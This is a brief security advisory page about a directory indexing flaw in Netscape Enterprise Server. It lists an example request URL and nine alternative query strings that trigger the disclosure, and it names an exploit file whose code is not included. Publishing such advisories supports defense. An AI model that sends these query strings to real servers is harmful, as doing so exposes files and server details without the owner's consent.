Netscape Enterprise Server Directory Indexing Vulnerability

http://target/?wp-cs-dump

?wp-cs-dump can be substituted with the following strings in order to achieve the same results:

?wp-ver-info
?wp-html-rend
?wp-usr-prop
?wp-ver-diff
?wp-verify-link
?wp-start-ver
?wp-stop-ver
?wp-uncheckout

Gabriel Maggiotti <gmaggiot@ciudad.com.ar> has provided the following exploit:

netscape-server.c


 

Privacy Statement
Copyright 2010, SecurityFocus